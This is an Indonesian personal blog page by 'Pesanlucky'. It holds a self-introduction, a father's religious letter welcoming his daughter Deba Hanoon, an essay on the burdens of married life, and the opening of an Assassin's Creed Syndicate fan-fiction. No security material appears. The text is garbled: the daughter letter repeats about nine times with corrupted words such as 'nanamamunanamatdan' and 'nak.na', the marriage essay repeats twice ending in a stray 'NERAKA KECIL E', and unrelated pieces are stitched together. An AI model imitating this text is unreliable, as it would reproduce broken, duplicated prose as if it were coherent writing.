Jika tautan bermasalah, harap klik pesanlucky.id di bagian ini agar terhubung kembali
Hallo semua, perkenalkan saya sebagai pengelola situs ini yang bernama Lucky Amr atau biasa menggunakan username dan domain di seluruh akun media sosial serta blog dengan nama Pesanlucky. Saya bekerja di sebuah perusahaan bidang transportasi darat di Indonesia khususnya di pulau Jawa, saya memiliki hobi bermusik, skateboarding dan mencoba hal-hal baru. Di web ini saya melampirkan beberapa tautan dari seluruh situs yang saya kelola secara pribadi, baik itu kanal YouTube, blog, website, tumblr maupun lainnya.
Saya mengucapkan terimakasih kepada Anda semua yang sudah hadir berkunjung dan melihat-lihat sesuatu yang saya posting di sini. Saya juga meminta maaf apabila ada banyak kekurangan maupun kekeliruan.
Untuk berkunjung ke situs Pesanlucky lainnya, Anda bisa mengunjungi tautan atau klik tautan yang tersedia di sini.
Di tengah makin masifnya medium-medium baru. Generasi-generasi baru instan yang lebih senang dengan video pendek–yang terkadang lebih banyak konyolnya ketimbang pesannya. Tidak lagi mengenal keyboard, tapi lebih paham gamepad. Apa iya, tulisan-tulisan akan tergantikan dengan story–story?
Ayo, tetap produktif menulis, bercerita, menginspirasi, atau apapun dengan tulisan-tulisan. Bukan untuk orang-orang, tapi untuk kita sendiri. Bahwa kelak kita akan mengingat; kita pernah menjadi generasi yang akrab dengan huruf dan kata-kata.
Kalender di atas hanya muncul ketika Anda berkunjung menggunakan email terdaftar. Dapatkan jadwal lain dari pesanlucky dengan cara login menggunakan email anda.
Selamat membaca beberapa artikel di bawah ini
DEBA HANOON, selamat datang putriku.
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya nak
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya nak
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya na
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, nanamamunanamatdan mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya nak
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya nak.na
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya nak
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya nak.na
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya n
Nak, kelahiranmu bukan sekadar menjadi qurrota 'ayun untuk kedua orangtuamu. Akan tetapi secara bersamaan, mulai menambah peran keduanya untuk menjadi orangtua yang utuh. Menjadi ayah yang berkewajiban membimbing, menasehati, menerapkan sifat haya-rasa malu sebagai perempuan untuk terjaganya marwah kehormatan. Dan puncak peran seorang ayah untuk keluarganya yang termaktub dalam firman-Nya adalah menjauhkanmu dari api neraka.
Nak, namamu sangat mudah dihafal dan tidak rumit ketika ditulis, artinya juga bagus. MashaAllah.
DEBA berarti "Sutera", sedangkan HANOON adalah "cantik bersih, baik hati dan ceria". Pun demikian, ada peran seorang ibu untuk menjadi madrasah terbaik sepanjang usiamu, tempat terbaik untukmu dalam mencicipi remah-remah bijak kehidupan. Yang sudah dimulai dari masa kandungan, dalam buaian, hingga dirimu pun kelak memenuhi takdir yang sama dengannya (menjadi seorang ibu). Maka, bertumbuhlah dengan baik, dengan sebaik-baiknya pertumbuhan. Barakallah.
Nak, Membacakan buku tak pernah terlupa dalam sehari. Segala kisah aku ceritakan tanpa jeda dalam satu hari, meski hanya sekali. Beragam cerita telah kamu dengar sejak dini, bahkan sejak masih dalam kandungan ibumu. Cerita tentang akidah, adab, hewan serta tumbuhan, pun juga hobi. Tak terkecuali kisah tentang beragam profesi. Hingga akhirnya terbentuklah pada alam bawah sadarmu sebuah mimpi. Tentang cita-citamu ketika dewasa nanti.
Nak, Suatu waktu mungkin kamu ingin menjadi pilot dengan baju putih dan topi khasnya. Terbang tinggi melintasi cakrawala. Berada tepat di atas samudera. Kemudian kembali mendarat pada benua yang berbeda.
Pada hari yang lain, bisa jadi kamu ingin menjadi pelukis. Menggambar serta mewarnai berbagai pola dengan manis. Kecintaanmu pada seni telah nampak pada dinding rumah yang tak lagi minimalis.
Suatu hari yang berbeda, mugkin kamu ingin menjadi dokter yang luar biasa. Lantaran saat itu kamu sedang asyik berkenalan dengan organ tubuh manusia. Termasuk berbagai sistem yang ada di dalamnya. Amat cepat kamu mempelajari tentang beberapa sel pada raga.
Sehat selalu ya nak.na
Rumah tangga yang dibina saat ini adalah buah dari keputusan kita dulu. Keputusan yang kita ambil sewaktu muda, penuh dengan mimpi-mimpi besar. Mimpi yang kemudian bertemu dengan realita tentang kehidupan berumah tangga yang mulai tampak aslinya.
Mulai urusan soal bagaimana bisa mengumpulkan uang untuk membeli rumah, kendaraan, biaya hidup sehari-hari, biaya kehamilan dan kelahiran anak, biaya keperluan anak, biaya pendidikan, dsb. Sesuatu yang dulu, sewaktu muda, kita pikir, akan mudah saja jalannya. Ternyata, harus bekerja dari pagi hingga malam untuk bisa memenuhi kebutuhan tersebut.
Bahkan, mimpi-mimpi besar kita untuk bisa bermanfaat bagi banyak orang, meraih aktualisasi diri dengan beragam kegiatan sosial, harus ditunda entah sampai kapan. Karena kita masih harus mendampingi tumbuh kembang anak kita, ditambah, kesibukan dan rutinitas sehari-hari yang mulai memakan sebagian besar waktu kita.
Beberapa di antara kita mungkin ada yang merasa hilang dari kehidupan ini. Tenggelam di dalam aktivitas yang berulang. Kehilangan jati diri karena tidak ada ruang untuk beraktualisasi, me time, ataupun waktu untuk menambah kapasitas diri kita melalui pendidikan ataupun bentuk pengembangan diri lainnya. Anak kita menangis, mencari kita. Keluarga kita, harus kita beri makan dan tempat tinggal yang layak.
Tenyata, kehidupan yang dulu kita inginkan, penuh dengan bayangan keindahan dan hal-hal manis. Tidak semanis itu prosesnya, tidak seindah itu lelahnya. Mungkin kita harus mengalah, mengalah pada keadaan bahwa apa yang menjadi mimpi besar kita mungkin harus ditunda. Sampai saat nanti kita sudah berdikari, keluarga kita sudah cukup stabil dalam banyak hal, dan juga kita memiliki kapasitas untuk melakukan hal-hal yang besar tanpa khawatir lagi keluarga akan terlantar.
Kalau pun lelah, jangan sampai keluar kata kasar, hardikan, ke pasangan, ke anak. Memang, sejak awal tidak mudah, tidak ada yang menjanjikan bahwa segala sesuatunya akan mudah sekalipun kita menikah dengan orang yang kita cintai, sevisi, semisi. Tapi, paling tidak dengan menikah dengan orang yang tepat, sebagian besar beban itu terangkat.
Seseorang yang saat ini berada bersamamu adalah seseorang yang dulu kamu pilih dengan sadar. Bahkan, dengan perjuangan. Orang yang menemanimu saat ini adalah orang yang dulu begitu dicintai oleh orang tuanya, diberikan semua yang ia butuhkan, diberikan keleluasaan untuk bergerak mengaktualisasikan dirinya, menjadi dirinya sendiri dengan segala mimpi dan cita-citanya.
Jangan sampai karena dia menikah denganmu. Hidupnya yang dulu berwarna, kini menjadi kelabu. Mimpi-mimpinya yang dulu selalu diupayakan jalannya oleh orang tuanya, kau belenggu, diikatnya hingga tak ada lagi harapan yang tersisa untuk mimpinya menjadi kenyataan. Alih-alih kita membantunya mewujudkan, malah mematikan.
Jangan sampai karena menikah denganmu, ia kehilangan dirinya sendiri hanya karena dituntut untuk terus menjadi seperti apa yang kamu mau. Mendiktenya harus ini dan itu. Mengerdilkannya dengan membuatnya semakin tak berdaya dan tak berarti.
Kamu memang tidak mengikatnya dengan tali, tapi keberaniannya telah mati, hatinya telah mengecil, mimpinya telah hilang, dan kepercayaan dirinya telah runtuh. Menikah denganmu, bukannya menjadi bahagia malah sebaliknya.
Orang yang saat ini berada bersamamu, adalah orang yang dulu begitu diperjuangkan oleh kedua orang tuanya. Dibesarkan dari kecil hingga dewasa, saat kamu datang mengambilnya. Mungkin juga saat kamu berhasil memenangkannya, ada orang lain yang saat itu juga begitu mencintainya, memperjuangkannya, dan memperlakukannya dengan begitu terhormat.
Tapi kamu tidak, merusaknya, menginjak-injak harga dirinya. Hingga ia tak lagi memiliki energi untuk menghadapi hari demi hari yang begitu kelam. Kamu telah menyia-nyiakannya.
Bayangkan jika kita harus menjalani pernikahan dengan realita yang demikian, tapi pasangan kita bukanlah orang yang bisa diajak bicara, tidak bisa menerima masukan, sibuk dengan dunianya sendiri, tidak peduli dengan anak atau pasangan, dan merasa sudah menjalankan kewajiban hanya dengan bekerja dan memberi uang.
NERAKA KECIL
E
Rumah tangga yang dibina saat ini adalah buah dari keputusan kita dulu. Keputusan yang kita ambil sewaktu muda, penuh dengan mimpi-mimpi besar. Mimpi yang kemudian bertemu dengan realita tentang kehidupan berumah tangga yang mulai tampak aslinya.
Mulai urusan soal bagaimana bisa mengumpulkan uang untuk membeli rumah, kendaraan, biaya hidup sehari-hari, biaya kehamilan dan kelahiran anak, biaya keperluan anak, biaya pendidikan, dsb. Sesuatu yang dulu, sewaktu muda, kita pikir, akan mudah saja jalannya. Ternyata, harus bekerja dari pagi hingga malam untuk bisa memenuhi kebutuhan tersebut.
Bahkan, mimpi-mimpi besar kita untuk bisa bermanfaat bagi banyak orang, meraih aktualisasi diri dengan beragam kegiatan sosial, harus ditunda entah sampai kapan. Karena kita masih harus mendampingi tumbuh kembang anak kita, ditambah, kesibukan dan rutinitas sehari-hari yang mulai memakan sebagian besar waktu kita.
Beberapa di antara kita mungkin ada yang merasa hilang dari kehidupan ini. Tenggelam di dalam aktivitas yang berulang. Kehilangan jati diri karena tidak ada ruang untuk beraktualisasi, me time, ataupun waktu untuk menambah kapasitas diri kita melalui pendidikan ataupun bentuk pengembangan diri lainnya. Anak kita menangis, mencari kita. Keluarga kita, harus kita beri makan dan tempat tinggal yang layak.
Tenyata, kehidupan yang dulu kita inginkan, penuh dengan bayangan keindahan dan hal-hal manis. Tidak semanis itu prosesnya, tidak seindah itu lelahnya. Mungkin kita harus mengalah, mengalah pada keadaan bahwa apa yang menjadi mimpi besar kita mungkin harus ditunda. Sampai saat nanti kita sudah berdikari, keluarga kita sudah cukup stabil dalam banyak hal, dan juga kita memiliki kapasitas untuk melakukan hal-hal yang besar tanpa khawatir lagi keluarga akan terlantar.
Kalau pun lelah, jangan sampai keluar kata kasar, hardikan, ke pasangan, ke anak. Memang, sejak awal tidak mudah, tidak ada yang menjanjikan bahwa segala sesuatunya akan mudah sekalipun kita menikah dengan orang yang kita cintai, sevisi, semisi. Tapi, paling tidak dengan menikah dengan orang yang tepat, sebagian besar beban itu terangkat.
Seseorang yang saat ini berada bersamamu adalah seseorang yang dulu kamu pilih dengan sadar. Bahkan, dengan perjuangan. Orang yang menemanimu saat ini adalah orang yang dulu begitu dicintai oleh orang tuanya, diberikan semua yang ia butuhkan, diberikan keleluasaan untuk bergerak mengaktualisasikan dirinya, menjadi dirinya sendiri dengan segala mimpi dan cita-citanya.
Jangan sampai karena dia menikah denganmu. Hidupnya yang dulu berwarna, kini menjadi kelabu. Mimpi-mimpinya yang dulu selalu diupayakan jalannya oleh orang tuanya, kau belenggu, diikatnya hingga tak ada lagi harapan yang tersisa untuk mimpinya menjadi kenyataan. Alih-alih kita membantunya mewujudkan, malah mematikan.
Jangan sampai karena menikah denganmu, ia kehilangan dirinya sendiri hanya karena dituntut untuk terus menjadi seperti apa yang kamu mau. Mendiktenya harus ini dan itu. Mengerdilkannya dengan membuatnya semakin tak berdaya dan tak berarti.
Kamu memang tidak mengikatnya dengan tali, tapi keberaniannya telah mati, hatinya telah mengecil, mimpinya telah hilang, dan kepercayaan dirinya telah runtuh. Menikah denganmu, bukannya menjadi bahagia malah sebaliknya.
Orang yang saat ini berada bersamamu, adalah orang yang dulu begitu diperjuangkan oleh kedua orang tuanya. Dibesarkan dari kecil hingga dewasa, saat kamu datang mengambilnya. Mungkin juga saat kamu berhasil memenangkannya, ada orang lain yang saat itu juga begitu mencintainya, memperjuangkannya, dan memperlakukannya dengan begitu terhormat.
Tapi kamu tidak, merusaknya, menginjak-injak harga dirinya. Hingga ia tak lagi memiliki energi untuk menghadapi hari demi hari yang begitu kelam. Kamu telah menyia-nyiakannya.
Bayangkan jika kita harus menjalani pernikahan dengan realita yang demikian, tapi pasangan kita bukanlah orang yang bisa diajak bicara, tidak bisa menerima masukan, sibuk dengan dunianya sendiri, tidak peduli dengan anak atau pasangan, dan merasa sudah menjalankan kewajiban hanya dengan bekerja dan memberi uang.
NERAKA KECIL
E
Bagaimana jika si kembar Frye tidak pernah tumbuh menjadi pembunuh, namun menjadi pria dan wanita pekerja di kota London bersama dengan yang lain? Bagaimana jika Lily adalah satu-satunya pembunuh yang menanggapi permintaan bantuan Henry Green? Dan bagaimana jika dia merekrut si kembar untuk bekerja bersamanya untuk menghentikan penindasan dan melawan Templar?
[Ini adalah imajinasi tertulis yang saya sajikan, akan ada lebih banyak bagian yang segera tuntas, jangan khawatir! Beri tahu saya jika kamu menyukainya; Saya mencoba konsep baru di sekitar alur cerita Syndicate, jenis AU yang tidak banyak saya lihat di fandom ini, apalagi game ini secara khusus! Jadi saya harap kalian semua menikmati :)]
Masyarakat telah seperti biasanya selama seratus tahun terakhir. Sebuah kediktatoran yang biasa bekerja demi keuntungan mereka sendiri dan membiarkan orang-orang di bawah mereka untuk menikmati apa-apa selain memo mereka. Dunia adalah tempat yang besar, dengan London di tengahnya.
Langit biru di atas dipenuhi dengan kabut hitam dari pabrik-pabrik di bawah, dan pabrik-pabrik yang terletak di pabrik-pabrik tersebut tidak bernasib lebih baik. Hari demi hari adalah pekerja yang kelelahan. Tangan kapalan dan kotor karena memelihara mesin yang membangun teknologi di sekitar mereka. Pria menghabiskan sebagian besar waktu jauh dari rumah, melakukan yang terbaik untuk mendukung keluarga meskipun kesehatan mereka menurun. Meskipun tidak hanya laki-laki yang menjadi sasaran lingkungan ini, tetapi juga perempuan dan anak-anak.
Secara moral telah disukai untuk memiliki sejumlah besar pekerja, tetapi dari segi bisnis ... mereka yang memegang kekuasaan bisa lolos dengan apa pun yang mereka inginkan. Yah, sudah bisa lolos dengan apa yang mereka inginkan.
